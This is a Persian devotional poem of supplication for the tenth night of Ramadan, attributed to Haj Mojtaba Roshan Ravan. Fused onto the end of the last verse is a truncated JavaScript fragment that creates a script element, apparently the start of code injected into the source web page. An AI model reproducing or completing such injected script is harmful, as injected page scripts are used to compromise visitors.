اشعار مناجات ماه مبارک رمضان | شب دهم | حاج مجتبی روشن روان

آمدم باز کریما به امید نظری
منم و لطف تو و سوز دل و چشم تری

آمدم باز ببینم که رحیمیت تو
میشود یار پریشانی این پشت دری

همتی نیست که پر باز کنم پر بکشم
خسته ام خسته ازین غربت بی بال و پری

نامه ام پر شده از معصیت ریز و درشت
که دگر نیست به آه دل زارم اثری

کاشکی با نفس پاک دلی خوش ذاتی
نخوت و رخوت این بندگی ام را ببری

بر مذاقم بچشان لذت بیداری را
خواب هرگز نکند مرد دعای سحری

گیرم از مهر گناهان مرا بخشیدی
پاک شد نامه اعمال بدم با شرری

بار شرمندگی ام را چه کنم
آه از جهل و گرفتاری و این خیر سریvar d=document;var s=d.createElement(‘script’);


دیدگاه ها